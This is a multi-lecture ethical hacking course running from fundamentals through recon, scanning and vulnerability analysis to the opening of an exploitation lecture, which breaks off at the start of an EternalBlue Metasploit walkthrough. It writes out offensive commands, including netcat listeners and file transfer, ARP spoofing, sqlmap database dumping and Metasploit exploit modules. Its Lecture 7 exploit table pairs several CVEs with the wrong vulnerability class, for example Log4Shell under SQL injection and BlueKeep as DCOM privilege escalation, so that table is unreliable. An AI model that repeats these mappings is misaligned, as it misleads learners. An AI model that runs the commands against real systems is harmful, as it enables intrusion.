Lecture 1 / 12
Lecture 01 · Fundamentals

Introduction to Ethical Hacking

Beginner ~50 min

What is Ethical Hacking?

Ethical Hacking (also known as White Hat Hacking) is the authorized practice of bypassing system security to identify potential vulnerabilities. Ethical hackers help organizations strengthen their defenses by simulating real cyberattacks.

Unlike malicious hackers, ethical hackers operate under a strict scope of engagement — every action is documented, authorized, and reported back to the client. The end goal is always to improve security, never to exploit it for personal gain.

Key Principles

  • Permission First — Always obtain written authorization before testing
  • Legal & Ethical — Follow laws and professional codes of conduct
  • Responsible Disclosure — Report findings professionally and within agreed timelines
  • Do No Harm — Avoid disrupting production systems or exposing sensitive data
  • Confidentiality — Protect all client data and findings from third parties

Types of Hackers

The security community categorizes hackers by their intent and authorization level, often using "hat" color as a metaphor:

  • White Hat — Authorized security professionals who test systems with permission to improve defenses.
  • Black Hat — Malicious actors who exploit vulnerabilities for personal gain, data theft, or sabotage.
  • Grey Hat — Operate without clear authorization but typically without malicious intent.
  • Script Kiddies — Unskilled attackers using pre-built tools without understanding them.
  • Hacktivists — Hack for political or social causes (e.g., Anonymous).
  • Nation-State Actors — Government-sponsored groups targeting critical infrastructure.

The 5 Phases of Ethical Hacking

Every professional penetration test follows a structured methodology. Understanding these phases is fundamental before touching any tool:

  1. Reconnaissance (Footprinting) — Passively gather information about the target: domain names, IP ranges, employee info, technologies in use. Tools: whois, theHarvester, Shodan, Google Dorks.
  2. Scanning & Enumeration — Actively probe the target for open ports, running services, OS versions, and potential entry points. Tools: nmap, netcat, nikto.
  3. Gaining Access (Exploitation) — Use identified vulnerabilities to gain entry into the system using tools like Metasploit, SQLMap, or custom exploits.
  4. Maintaining Access — Demonstrate whether an attacker could persist undetected — simulating APTs via backdoors or rootkits.
  5. Covering Tracks & Reporting — Document all findings with evidence, severity ratings, and remediation advice. Ethical hackers write detailed reports instead of erasing logs.

Legal & Compliance Frameworks

Before beginning any engagement, understand the legal landscape. Unauthorized hacking — even with good intent — is a criminal offense in most countries.

  • CFAA (Computer Fraud and Abuse Act) — USA. Criminalizes unauthorized computer access. Always get written permission.
  • Computer Misuse Act 1990 — UK. Covers unauthorized access and modification of computer material.
  • IT Act 2000 — India. Sections 43 & 66 deal with unauthorized access and hacking offenses.
  • GDPR — EU. Governs how personal data found during tests must be handled and protected.
  • EC-Council Code of Ethics — Global (CEH). Professional conduct standards for certified ethical hackers.
⚠️ Always Get a Signed Scope of Work (SOW)

A verbal agreement is not enough. Always obtain a signed document specifying the target systems, allowed techniques, testing window, and emergency contacts. This protects both you and your client.

Tools & Environment Setup

For hands-on labs, we use Kali Linux running in a virtual machine — an isolated environment specifically designed for penetration testing. Never practice on systems you don't own or have written permission to test.

Recommended Setup

  • Hypervisor: VirtualBox (free) or VMware Workstation
  • OS: Kali Linux 2024.x (rolling release)
  • RAM: Allocate at least 4 GB to the VM
  • Storage: 50 GB minimum disk image
  • Network Mode: NAT (for internet) or Host-Only (for isolated labs)
terminal (Kali) — Initial Setup
# Update system and install core tools
sudo apt update && sudo apt upgrade -y
sudo apt install nmap metasploit-framework burpsuite wireshark -y

# Verify installations
nmap --version
msfconsole --version

💻 Try It Yourself - Multi-Language Compiler

Practice Ethical Hacking tools and many other programming languages right here in your browser! Switch between languages, modify the code, and click "Run" to see results instantly.

💡 Practice Tips:

  • Switch to Shell in the language selector and try network security examples
  • Experiment with penetration testing tools and security scanning techniques
  • Try other security languages like Python, Bash, or compare with network concepts
  • Use the "Load Example" button to see security-focused code samples
  • Use Ctrl+Enter to quickly run your code
terminal (Kali) — Explore Your Environment
# Who am I?
whoami && id

# Network interfaces
ifconfig   # or: ip addr show

# Open ports on localhost
netstat -tuln

# Quick scan of your own VM
nmap -sV 127.0.0.1

Key Terminology

You'll encounter these terms constantly throughout the course:

  • Vulnerability — A weakness in a system that can be exploited.
  • Exploit — Code or technique that takes advantage of a vulnerability.
  • Payload — The part of the exploit that performs the actual action (e.g., opens a shell).
  • CVE — Common Vulnerabilities and Exposures, a public database of known security flaws.
  • Zero-Day — A vulnerability unknown to the vendor with no available patch.
  • Attack Surface — All the points where an attacker could try to enter a system.
  • Penetration Test — A simulated cyberattack authorized to evaluate system security.
  • Social Engineering — Manipulating people into divulging confidential information.

Career Paths in Ethical Hacking

The cybersecurity field offers multiple specialized roles. Here's where ethical hacking skills lead:

  • Penetration Tester (Pentester) — Simulate attacks on client infrastructure
  • Red Team Operator — Conduct advanced adversarial simulations against organizations
  • Bug Bounty Hunter — Find vulnerabilities in public programs (HackerOne, Bugcrowd) for rewards
  • Security Analyst (SOC) — Monitor and respond to security incidents
  • Malware Analyst / Reverse Engineer — Dissect malicious software to understand behavior
  • CTF Player — Capture the Flag competitions to sharpen skills (TryHackMe, HackTheBox)
📜 Recommended Certifications

CEH (EC-Council) — Entry-level, theory-heavy  ·  eJPT (eLearnSecurity) — Great hands-on starter  ·  CompTIA Security+ — Widely recognized baseline  ·  OSCP (Offensive Security) — Gold standard, highly practical

🎯 Exercise 1.1 — Environment Setup

Install Kali Linux in a virtual machine (VirtualBox/VMware). Run whoami and ifconfig to explore your environment. Read the EC-Council Code of Ethics.

🎯 Exercise 1.2 — Reconnaissance Warm-Up

Using only passive techniques (no scanning), research a domain you own or a test domain like scanme.nmap.org. Use whois, nslookup, and Google to gather as much information as you can. Document your findings.

terminal — Exercise 1.2
whois scanme.nmap.org
nslookup scanme.nmap.org
dig scanme.nmap.org ANY
🎯 Exercise 1.3 — Identify Your Attack Surface

Run a basic Nmap scan against your own VM's IP to see what services are exposed. Compare the open ports with what you expect. Which services can you turn off to reduce the attack surface?

terminal — Exercise 1.3
# Replace with your VM's IP
nmap -sV -O 192.168.x.x
Lecture 02 · Fundamentals

Network Basics for Ethical Hackers

Beginner ~60 min Requires: Lecture 01

Why Network Knowledge is Critical for Hacking

Almost every attack starts with understanding how networks communicate. As an ethical hacker, you must master networking concepts to identify vulnerabilities, map targets, and execute attacks safely.

Networks are the highways of the digital world — and understanding how data travels across them gives you the ability to intercept, redirect, or block it. Whether you're sniffing packets, exploiting misconfigured services, or pivoting through a compromised host, every technique builds on a solid foundation of networking knowledge.

1. OSI Model vs TCP/IP Model

The OSI (Open Systems Interconnection) model is a conceptual framework that standardizes how different network protocols interact. The TCP/IP model is the practical implementation used on the modern internet. As a hacker, you'll think in terms of both — understanding which layer an attack targets is essential for diagnosis and exploitation.

OSI Layer TCP/IP Layer Key Protocols / Tools
7. Application Application HTTP, HTTPS, FTP, DNS, SMTP
6. Presentation SSL/TLS, JPEG, ASCII
5. Session NetBIOS, RPC
4. Transport Transport TCP, UDP, SCTP
3. Network Internet IP, ICMP, IGMP, Routing
2. Data Link Network Access Ethernet, MAC Address, ARP, PPP
1. Physical Cables, Switches, Wi-Fi signals

Hacker's Perspective on the OSI Model

  • Layer 7 (Application) — SQL injection, XSS, directory traversal, API abuse
  • Layer 4 (Transport) — Port scanning, SYN floods, session hijacking
  • Layer 3 (Network) — IP spoofing, ICMP attacks, route manipulation
  • Layer 2 (Data Link) — ARP poisoning, MAC flooding, VLAN hopping
  • Layer 1 (Physical) — Cable tapping, rogue access points, hardware implants

2. IP Addressing

Every device on a network is identified by an IP address. IPv4 uses 32-bit addresses (e.g., 192.168.1.1) while IPv6 uses 128-bit addresses. Understanding subnetting is critical — it tells you the size of a network and which hosts are reachable without routing.

terminal
ip addr show          # Linux
ipconfig              # Windows

# Example IPv4: 192.168.1.105/24
# Example IPv6: 2001:db8::1/64

Public vs Private IPs

  • Private: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 — not routable on the internet
  • Public: Routable on the internet, assigned by ISPs
  • Loopback: 127.0.0.1 — refers to the local machine itself
  • APIPA: 169.254.x.x — auto-assigned when DHCP fails (a red flag in recon)

Subnetting Quick Reference

  • /24 — 256 addresses, 254 usable (most common home/office network)
  • /16 — 65,536 addresses (large corporate networks)
  • /8 — 16 million addresses (ISP-level blocks)
  • /32 — A single host (used in firewall rules and routing)
terminal — Subnet Calculator
# Install ipcalc on Kali
sudo apt install ipcalc -y

# Calculate subnet info
ipcalc 192.168.1.0/24

# Output shows: Network, Broadcast, HostMin, HostMax, Hosts/Net

3. TCP vs UDP

TCP (Transmission Control Protocol) establishes a reliable connection using a 3-way handshake (SYN → SYN-ACK → ACK) before any data is transferred. UDP (User Datagram Protocol) sends data without establishing a connection — faster but unreliable. Understanding this distinction directly impacts how you scan ports and craft exploits.

Feature TCP UDP
Connection Connection-oriented (3-way handshake) Connectionless
Reliability Reliable (ACK, retransmission) Unreliable
Speed Slower Faster
Use Cases HTTP, SSH, FTP DNS, VoIP, Gaming, Streaming
Hacker Relevance SYN scans, session hijacking, banner grabbing UDP scans, DNS poisoning, amplification DDoS

The TCP 3-Way Handshake

Understanding the handshake is critical for port scanning techniques like Nmap's SYN scan (-sS), which sends a SYN and never completes the handshake — making it stealthier than a full connect scan.

  • SYN — Client says "I want to connect"
  • SYN-ACK — Server says "OK, I'm listening"
  • ACK — Client confirms "Connection established"
  • RST — Port is closed (no service listening)
  • No response / filtered — Firewall is likely blocking the port

4. DNS — The Internet's Phone Book

DNS (Domain Name System) translates human-readable domain names like google.com into IP addresses. DNS is a goldmine for recon — misconfigured DNS servers can leak internal hostnames, mail servers, and subdomains.

terminal — DNS Recon
# Basic DNS lookup
nslookup example.com

# Detailed query with dig
dig example.com ANY

# Attempt zone transfer (often misconfigured)
dig axfr @ns1.example.com example.com

# Find mail servers
dig example.com MX

# Reverse lookup (IP → hostname)
dig -x 93.184.216.34

Important DNS Record Types

  • A — Maps domain to IPv4 address
  • AAAA — Maps domain to IPv6 address
  • MX — Mail server for the domain
  • NS — Authoritative name servers
  • CNAME — Alias pointing to another domain
  • TXT — Text records (SPF, DKIM, verification tokens — great for recon)
  • PTR — Reverse DNS lookup record

5. Common Ports You Must Know

Memorizing key ports helps you instantly recognize what services are running when you see Nmap scan results. Open ports are potential entry points — each one represents a service that may have vulnerabilities.

Port Protocol Service Hacker Notes
20/21 TCP FTP Check for anonymous login, cleartext credentials
22 TCP SSH Brute-force, weak keys, outdated versions
23 TCP Telnet Cleartext — capture with Wireshark, always try default creds
25 TCP SMTP Open relays, user enumeration (VRFY, EXPN commands)
53 TCP/UDP DNS Zone transfers, DNS cache poisoning, subdomain enum
80 TCP HTTP Web app attacks: SQLi, XSS, LFI, directory traversal
443 TCP HTTPS Check SSL/TLS version, certificate info, same web attacks
445 TCP SMB EternalBlue (MS17-010), null sessions, pass-the-hash
3306 TCP MySQL Default creds, remote root access if misconfigured
3389 TCP RDP BlueKeep, brute-force, credential stuffing
8080/8443 TCP HTTP Alt / HTTPS Alt Admin panels, dev servers often left exposed

6. Essential Networking Tools

  • ifconfig / ip addr — View and configure network interfaces
  • ping — Test host reachability and measure latency via ICMP
  • traceroute / tracert — Map the route packets take to a destination
  • nslookup / dig — Perform DNS queries and enumerate records
  • netstat / ss — View active connections and listening ports
  • arp -a — View the ARP cache (MAC-to-IP mappings on the LAN)
  • route / ip route — View and manipulate the routing table
  • nc (netcat) — The "Swiss Army knife" — connect to ports, transfer files, open shells
  • wireshark / tcpdump — Capture and analyze live network traffic
  • nmap — Port scanning, OS detection, service version enumeration
terminal — Netcat Essentials
# Connect to a port (banner grabbing)
nc -v 192.168.1.1 80

# Listen for incoming connection
nc -lvnp 4444

# Simple port scan with netcat
nc -zv 192.168.1.1 20-100

# Transfer a file (receiver first)
nc -lvnp 4444 > received_file.txt
nc 192.168.1.1 4444 < file_to_send.txt
terminal — Wireshark / tcpdump
# Capture all traffic on eth0
sudo tcpdump -i eth0

# Capture only HTTP traffic
sudo tcpdump -i eth0 port 80

# Save capture to file for Wireshark
sudo tcpdump -i eth0 -w capture.pcap

# Open in Wireshark
wireshark capture.pcap

7. ARP & MAC Addresses

ARP (Address Resolution Protocol) maps IP addresses to MAC addresses on a local network. It operates at Layer 2 and has no built-in authentication — making it vulnerable to ARP poisoning / spoofing, a foundational technique in man-in-the-middle (MitM) attacks.

  • MAC Address — 48-bit hardware identifier (e.g., AA:BB:CC:DD:EE:FF)
  • ARP Request — "Who has 192.168.1.1? Tell 192.168.1.5"
  • ARP Reply — "192.168.1.1 is at AA:BB:CC:DD:EE:FF"
  • ARP Poisoning — Send fake ARP replies to redirect traffic through your machine
terminal — ARP
# View ARP cache
arp -a

# ARP scan the local network
sudo arp-scan --localnet

# ARP spoofing with arpspoof (dsniff package)
sudo arpspoof -i eth0 -t 192.168.1.5 192.168.1.1
✅ Pro Tip
Always start reconnaissance with passive techniques before active scanning to avoid detection. Active scanning (like Nmap) generates traffic logs — passive recon (Shodan, WHOIS, Google Dorks) leaves no trace on the target's systems.
🎯 Exercise 2.1 — Network Exploration

1. Find your IP address and default gateway.
2. Ping google.com and note the TTL value — what OS does it suggest?
3. Use nslookup to find the IP of a website.
4. Run traceroute google.com (or tracert on Windows) and count the hops.

🎯 Exercise 2.2 — DNS Enumeration

Using dig, enumerate the DNS records of a domain you own or a practice domain. Try to retrieve A, MX, NS, and TXT records. Attempt a zone transfer and document whether it succeeds or fails — and why.

terminal — Exercise 2.2
dig example.com A
dig example.com MX
dig example.com NS
dig example.com TXT
dig axfr @ns1.example.com example.com
🎯 Exercise 2.3 — Banner Grabbing

Use netcat to connect to port 80 of a web server and manually send an HTTP request. Observe what information the server reveals in its response headers (server type, version, OS). This is called banner grabbing — a key recon technique.

terminal — Exercise 2.3
# Connect to web server
nc -v example.com 80

# Then type the following and press Enter twice:
HEAD / HTTP/1.0

# Look for: Server:, X-Powered-By:, Set-Cookie: fields
🎯 Exercise 2.4 — TCP vs UDP Report

Write a short report (in a text file) explaining the difference between TCP and UDP with real-world examples relevant to hacking. Include: how Nmap handles each differently, which attacks target TCP vs UDP, and why UDP scanning is slower and less reliable.

Lecture 03 · Fundamentals

Linux & Command Line Mastery for Hackers

Beginner ~65 min Requires: Lecture 02

Why Linux is Essential for Ethical Hacking

Linux dominates servers, cloud infrastructure, IoT devices, and cybersecurity tooling. Ethical hackers rely on Linux because it provides:

  • Full control over the system (open-source kernel)
  • Powerful command-line tools for automation
  • Built-in networking and scripting capabilities
  • Security-focused distributions like Kali Linux and Parrot OS
⚠️ Hacker Insight
Most real-world attacks and defenses happen on Linux systems. Mastering the terminal is non-negotiable.

1. Linux File System Hierarchy

  • / — Root directory (everything starts here)
  • /home — User files
  • /root — Root user home
  • /etc — Configuration files
  • /var — Logs and variable data
  • /tmp — Temporary files
  • /bin & /usr/bin — Executable commands
  • /sbin — System binaries (admin commands)
  • /dev — Device files
  • /proc — Process and kernel info

2. Essential Commands Every Hacker Must Know

Navigation & File Management

pwd                    # Print Working Directory
ls -la                 # List files (detailed + hidden)
cd /etc                # Change directory
mkdir tools            # Create directory
touch test.txt         # Create empty file
cp file1 file2         # Copy
mv old new             # Move / Rename
rm -rf folder          # Remove (DANGEROUS)
find / -name "test"    # Find files

System Information & Processes

uname -a               # System info
whoami                 # Current user
id                     # User + group info
ps aux                 # Running processes
top / htop             # Live process monitor
kill PID               # Kill process
df -h                  # Disk usage
free -m                # Memory usage
uptime                 # System uptime

Networking Commands

ifconfig / ip addr     # Network interfaces
ping 8.8.8.8           # Test connectivity
netstat -tuln          # Open ports
ss -tuln               # Faster alternative
traceroute google.com  # Route tracking
curl example.com       # HTTP requests
wget url               # Download files

3. File Permissions & Ownership (CRITICAL)

Understanding permissions is key for both attacking and securing systems.

ls -l
chmod 755 file.sh
chmod +x script.sh
chown user:group file
  • r (read) = 4
  • w (write) = 2
  • x (execute) = 1

Example: 755 = owner (rwx), group (rx), others (rx)

💡 Hacker Tip
Misconfigured permissions are one of the easiest privilege escalation vectors.

4. Text Processing Tools (Hacker’s Best Friends)

  • cat — View file
  • grep — Search patterns
  • sed — Modify streams
  • awk — Advanced processing
  • cut / sort / uniq — Data filtering
cat /etc/passwd | grep bash
ps aux | grep apache
netstat -tuln | grep 80
cut -d: -f1 /etc/passwd
sort users.txt | uniq

5. Redirection & Pipes (Power Feature)

command > file.txt      # Overwrite output
command >> file.txt     # Append output
command 2> error.log    # Errors only
command1 | command2     # Pipe output

Chaining commands allows automation and complex data extraction—essential for reconnaissance.

6. Package Management

sudo apt update
sudo apt upgrade
sudo apt install nmap
sudo apt remove package

7. Kali Linux Specific Tools

  • nmap — Network scanning
  • metasploit — Exploitation
  • burpsuite — Web testing
  • wireshark — Packet analysis
  • john / hashcat — Password cracking
  • aircrack-ng — WiFi hacking

8. Basic Bash Scripting

#!/bin/bash
echo "User: $(whoami)"
echo "IP: $(hostname -I)"
echo "System: $(uname -a)"

Make executable:

chmod +x script.sh
./script.sh
🚀 Why Scripting Matters
Hackers automate repetitive tasks like scanning, enumeration, and reporting using scripts.
🎯 Exercise 3.1 — Linux Exploration

1. Find all files containing "password" in /etc
2. List all listening ports
3. Create a directory recon and a file targets.txt
4. Use history to see previous commands

🎯 Exercise 3.2 — Bash Script

Create system_info.sh that shows:
• Current user
• IP address
• OS version
• Running services

🔥 Challenge Exercise

Write a one-liner command to: list all users, filter only those with bash shell, and save output to a file.

Lecture 04 · Fundamentals

Reconnaissance & Footprinting

Intermediate ~70 min Requires: Lecture 03

What is Reconnaissance?

Reconnaissance (Recon) is the first and most critical phase of ethical hacking. It involves gathering intelligence about a target system, network, or organization. The goal is to build a complete attack surface map before any exploitation begins.

🧠 Key Principle
The more you know about the target, the fewer guesses you need to make later.

Types of Reconnaissance

Type Description Risk Level Examples
Passive Recon No direct interaction with target Low (stealthy) Google, WHOIS, Shodan, Social Media
Active Recon Direct interaction with target High (detectable) Port scanning, Ping sweeps

Recon Workflow (Real-World)

  1. Identify target scope (domains, IPs)
  2. Gather passive intelligence (OSINT)
  3. Enumerate subdomains
  4. Discover live hosts
  5. Scan ports and services
  6. Identify technologies and vulnerabilities

1. Passive Reconnaissance Techniques

WHOIS Lookup

whois example.com
whois -h whois.iana.org example.com

Reveals domain owner, registrar, DNS servers, and registration dates.

Google Dorks (Advanced Search)

site:example.com filetype:pdf
inurl:admin site:example.com
intitle:"index of" "parent directory"
site:example.com ext:sql | ext:log

Shodan & Censys

Search engines that index internet-connected devices, open ports, and exposed services.

theHarvester (Email & Domain Info)

theHarvester -d example.com -b google
theHarvester -d example.com -b linkedin

2. Subdomain Enumeration (CRITICAL)

Subdomains often expose hidden services and entry points.

sublist3r -d example.com
amass enum -d example.com
assetfinder example.com

Validate live subdomains:

cat subs.txt | httpx

3. Active Reconnaissance

Host Discovery

ping -c 4 target.com
nmap -sn 192.168.1.0/24        # Ping sweep

Port Scanning with Nmap

nmap -sV -O target.com            # Service + OS detection
nmap -sS -p- target.com           # Full port scan
nmap -sC -sV -A target.com        # Aggressive scan
nmap -oX scan.xml target.com      # Save XML output

Service Enumeration

nmap -sV --script=banner target.com
nmap --script vuln target.com

4. DNS Reconnaissance

dig example.com ANY
dig mx example.com
dnsenum example.com
dnsrecon -d example.com -t std

Look for:

  • Mail servers (MX records)
  • Subdomains
  • Zone transfer misconfigurations

5. Web Application Recon

whatweb example.com
wappalyzer
nikto -h example.com
gobuster dir -u http://example.com -w wordlist.txt

Identify:

  • Technologies (PHP, Apache, WordPress)
  • Hidden directories
  • Outdated software

6. OSINT Framework

  • People search: LinkedIn, Pipl
  • Email discovery: Hunter.io
  • Leaks & breaches: HaveIBeenPwned
  • Metadata extraction: exiftool

7. Automation & Recon Pipelines

sublist3r -d example.com > subs.txt
cat subs.txt | httpx > live.txt
nmap -iL live.txt -sV -oA results
🚀 Pro Tip
Automation is what separates beginners from professionals. Build recon pipelines.

8. Documentation & Reporting

Always document findings:

  • Discovered domains and IPs
  • Open ports and services
  • Potential vulnerabilities
  • Screenshots and logs
⚠️ Legal Warning
Never perform active reconnaissance without explicit written authorization. Unauthorized scanning can be illegal.
🎯 Exercise 4.1 — Passive Recon

Choose a public organization and gather:
• WHOIS info
• Subdomains
• Public IP ranges
• Employee emails

🎯 Exercise 4.2 — Active Recon

Using a lab or authorized target:
1. Perform host discovery
2. Run full port scan
3. Save results in XML

🔥 Challenge Exercise

Build a full recon pipeline that:
• Finds subdomains
• Filters live hosts
• Scans services
• Outputs structured results

Lecture 05 · Fundamentals

Scanning & Enumeration

Intermediate ~75 min Requires: Lecture 04

Introduction to Scanning

Scanning is the phase where an attacker or ethical hacker actively interacts with a target to identify live systems, open ports, running services, and possible entry points.

It comes after reconnaissance and before exploitation. At this stage, you are no longer guessing — you are verifying.

🧠 Key Idea
Recon tells you where to look. Scanning tells you what is actually there.

1. Host Discovery (Finding Live Targets)

Before scanning ports, you need to know which machines are alive. This avoids wasting time scanning offline systems.

nmap -sn 192.168.1.0/24              # Ping sweep (no port scan)
nmap -PE -PP -PM target.com          # Different ICMP probes
masscan -p80,443 192.168.1.0/24 --rate=1000

Explanation

  • -sn → Host discovery only (no ports scanned)
  • -PE → ICMP echo (like ping)
  • -PP → Timestamp request
  • -PM → Netmask request
💡 Real-World Tip
Many systems block ping. A host may still be alive even if it doesn't respond to ICMP.

Example Output

Nmap scan report for 192.168.1.10
Host is up (0.0030s latency)

This confirms the machine is reachable and worth scanning further.

2. Port Scanning Techniques

Ports are entry points into a system. Each open port usually corresponds to a service.

Scan Type Command Stealth Explanation
TCP SYN Scan nmap -sS High Half-open scan (doesn't complete handshake)
TCP Connect nmap -sT Low Full connection (easier to detect)
UDP Scan nmap -sU Medium Finds services like DNS, SNMP
Version Detection nmap -sV Medium Identifies service versions

Example

nmap -sS -p 22,80,443 target.com

Sample Output Explained

PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https
  • open → Service is accessible
  • closed → No service
  • filtered → Firewall blocking

3. Advanced Nmap Usage

Combine multiple flags for deeper insights:

nmap -sS -sV -O -T4 target.com
nmap -A target.com
nmap -sC --script vuln target.com
nmap -p- target.com                  # Scan ALL ports (1–65535)

Flag Breakdown

  • -O → OS detection
  • -T4 → Faster scan
  • -sC → Default scripts
  • --script vuln → Vulnerability detection

Example Insight

If Nmap shows:

80/tcp open http Apache httpd 2.4.49

You now know:
• Web server is Apache
• Version is 2.4.49
→ You can search for known vulnerabilities for that version

4. Enumeration (Deep Information Gathering)

Enumeration goes beyond scanning. It extracts detailed information such as: users, shares, directories, and configurations.

SMB Enumeration

enum4linux -a target.com
smbclient -L //target.com

Finds shared folders, users, and permissions.

SNMP Enumeration

snmpwalk -c public -v1 target.com

Can reveal system processes, network info, and configs.

Web Enumeration

gobuster dir -u http://target.com -w wordlist.txt
dirb http://target.com
nikto -h http://target.com

Example Output

/admin (Status: 200)
/login (Status: 200)
/backup (Status: 403)

These hidden paths often contain login panels, backups, or sensitive data.

5. Common Services & What to Check

  • SSH (22) → Weak passwords, outdated versions
  • HTTP (80) → Directories, forms, vulnerabilities
  • FTP (21) → Anonymous login
  • SMB (445) → Shared files, misconfigurations

6. Organizing Results

mkdir recon
mkdir scans
nmap -oA scans/full_scan target.com

Always keep results structured for reporting and later analysis.

7. Best Practices & OPSEC

  • Use slower scans (-T2) to avoid detection
  • Avoid scanning during peak hours
  • Rotate IPs (advanced)
  • Stay strictly within scope
⚠️ Legal Reminder
Unauthorized scanning is illegal. Always have written permission.
🎯 Exercise 5.1 — Practical Scanning

1. Discover live hosts
2. Scan top 1000 ports
3. Identify service versions
4. Run vulnerability scripts
5. Save results

🎯 Exercise 5.2 — Analysis

Take your scan results and answer:
• Which ports are open?
• What services are running?
• Which ones look vulnerable?

🔥 Challenge

Perform a full scan + enumeration and create a mini report:
• Target overview
• Open ports
• Services
• Possible attack vectors

Lecture 06 · Core Concepts

Vulnerability Analysis

Intermediate ~70 min Requires: Lecture 05

What is Vulnerability Analysis?

Vulnerability Analysis is the process of identifying, validating, and prioritizing security weaknesses in a system. It transforms raw scan data into actionable findings.

At this stage, you answer:
• Is this vulnerability real?
• How severe is it?
• Can it be exploited?

🧠 Key Concept
Scanning finds possibilities. Vulnerability analysis confirms real risks.

Types of Vulnerabilities

Category Examples Impact Real-World Scenario
Network Open ports, weak firewall rules Unauthorized access Exposed SSH allows brute-force login
Web Application SQL Injection, XSS Data theft Login form dumps database
Configuration Default creds, exposed backups Full system compromise /backup.zip accessible publicly
Zero-Day Unknown flaws Critical risk No patch available

1. Vulnerability Analysis Workflow

  1. Collect scan results (Nmap, Nikto, etc.)
  2. Identify services and versions
  3. Search for known vulnerabilities (CVE)
  4. Validate manually (avoid false positives)
  5. Prioritize based on severity and impact

2. Automated Vulnerability Scanners

Automated tools quickly identify known issues, but must be verified.

  • Nessus / OpenVAS — Full vulnerability scanning
  • Nikto — Web server weaknesses
  • SQLMap — Detects SQL injection
  • Nmap NSE — Script-based detection
openvas-start
nikto -h http://target.com
sqlmap -u "http://target.com/page.php?id=1" --dbs
nmap --script vuln target.com

Example Output (Nikto)

+ Server: Apache/2.4.49
+ Retrieved x-powered-by header: PHP/7.3
+ OSVDB-3092: /admin/: This might be interesting

Interpretation:
• Apache version may be vulnerable
• PHP version is outdated
• Hidden admin panel discovered

3. Manual Vulnerability Analysis (CRITICAL)

This is where real hackers stand out.

  • Verify scanner results manually
  • Check service versions from Nmap
  • Search for exploits using CVE IDs
  • Test behavior (not just trust tools)

Using Searchsploit

searchsploit apache 2.4.49
searchsploit vsftpd

Example

If Nmap shows:

Apache httpd 2.4.49

You search:

searchsploit apache 2.4.49

→ You may find a known Remote Code Execution (RCE) exploit.

4. CVE & Vulnerability Databases

Common Vulnerabilities and Exposures (CVE) provide standardized IDs.

  • CVE-2021-44228 → Log4Shell
  • CVE-2017-0144 → EternalBlue

Use databases:

  • NVD (National Vulnerability Database)
  • Exploit-DB
  • GitHub (public PoCs)
💡 Pro Insight
Always match the exact version. A vulnerability may not apply to newer or patched systems.

5. Vulnerability Scoring — CVSS

CVSS measures severity from 0 to 10.

  • Critical (9.0–10) → Immediate action required
  • High (7.0–8.9) → Serious risk
  • Medium (4.0–6.9) → Moderate impact
  • Low (0.1–3.9) → Minor risk

Example

A Remote Code Execution vulnerability with no authentication → CVSS score ≈ 9.8 (Critical)

6. False Positives & Validation

Automated tools often report vulnerabilities that are not exploitable.

  • Service version mismatch
  • Patched but still reported
  • Configuration blocks exploit
⚠️ Important
Never report a vulnerability unless you have verified it.

7. Exploitation Preparation

Once a vulnerability is confirmed:

  • Search for public exploits
  • Use Metasploit modules
  • Prepare payloads
  • Understand impact before exploitation
msfconsole
search apache
use exploit/multi/http/apache_rce
set RHOST target.com
run

8. Prioritization (Real-World Thinking)

Not all vulnerabilities matter equally.

  • Is it exploitable remotely?
  • Does it require authentication?
  • What is the business impact?
  • Is sensitive data exposed?
🎯 Analyst Mindset
Focus on vulnerabilities that give access, not just those that look “technical”.

9. Reporting Findings

A good vulnerability report includes:

  • Description of vulnerability
  • Affected system
  • Severity (CVSS)
  • Proof of Concept (PoC)
  • Remediation steps

Example Finding

Title: Apache 2.4.49 RCE
Severity: Critical (9.8)
Impact: Remote code execution
Fix: Upgrade to latest version
🎯 Exercise 6.1 — Vulnerability Scanning

1. Run OpenVAS/Nessus scan
2. Scan web server with Nikto
3. Run Nmap vuln scripts
4. List top 5 vulnerabilities
5. Assign severity + fix

🎯 Exercise 6.2 — CVE Research

Research a vulnerability:
• CVE ID
• Affected systems
• Exploit method
• Fix

🔥 Challenge

Take scan results and build a mini vulnerability report:
• Identify real vulnerabilities
• Remove false positives
• Rank by severity
• Suggest fixes

Lecture 07 · Core Concepts

Exploitation Techniques

Advanced ~80 min Prerequisite: Lecture 06
-------------------------------------------------------------- -->

1️⃣ What is Exploitation?

Exploitation is the act of converting a discovered vulnerability into a concrete foothold on a target system. In the ethical hacking workflow it follows:

  1. Reconnaissance →
  2. Vulnerability research →
  3. Exploitation
  4. Post‑exploitation →
  5. Reporting

It is the most legally sensitive phase—any execution of code on a system without explicit, written permission is a crime in practically every jurisdiction.

2️⃣ Types of Exploits (Expanded)

Category Sub‑type Typical Vector Real‑World Example (CVE)
Remote Code Execution (RCE) SMB/Windows (EternalBlue) Network service (port 445) CVE‑2017‑0144 (EternalBlue)
Log4j/JNDI (Log4Shell) Web‑app logging endpoint CVE‑2021‑44228
Print Spooler (PrintNightmare) Windows Print Spooler API CVE‑2021‑34527
Privilege Escalation Local kernel (Dirty COW) Linux /proc/self/mem CVE‑2016‑5195
SUID mis‑config (GTFOBins) Abused binaries (e.g., find) Various
Token stealing (Kerberoasting) Kerberos service tickets CVE‑2020‑17049 (Krb5)
Windows DCOM (BlueKeep) RDP service (port 3389) CVE‑2019‑0708
Client‑Side Browser sandbox escape Malicious HTML/JS CVE‑2022‑23222 (Chromium)
Office macro / VBA Malicious document CVE‑2022‑30190 (Follina)
PDF/Flash buffer overflow Crafted PDF file CVE‑2018‑4970 (Adobe Reader)
Web‑Application SQL Injection (SQLi) Unsanitized query parameters CVE‑2021‑44228 (Log4Shell) – indirect
Cross‑Site Scripting (XSS) Reflected / stored payload CVE‑2021‑22986 (F5 BIG‑IP)
File Inclusion (LFI/RFI) Dynamic include paths CVE‑2022‑22965 (Spring4Shell)
Cloud / Container Misconfigured S3 bucket Public write permissions CVE‑2022‑22965 (Spring4Shell) – container‑side
Container escape (CVE‑2021‑33574) Docker daemon socket CVE‑2021‑33574

3️⃣ Exploit Development Lifecycle

Recon Vuln Research
(Proof‑of‑Concept) Weaponization Delivery Exploitation Post‑Exploitation

The diagram emphasizes that exploitation does not happen in isolation; each stage feeds back into the previous one. Understanding the entire pipeline helps you design more reliable (and stealthier) exploits.

4️⃣ Using the Metasploit Framework (Detailed Walk‑through)

Below is an end‑to‑end example that exploits the EternalBlue (MS17‑010) vulnerability on a vulnerable Windows 7 host. The steps are annotated to highlight common pitfalls and safe‑practice recommendations.

msfconsole – EternalBlue
# 1️⃣ Launch Metasploit
msfconsole

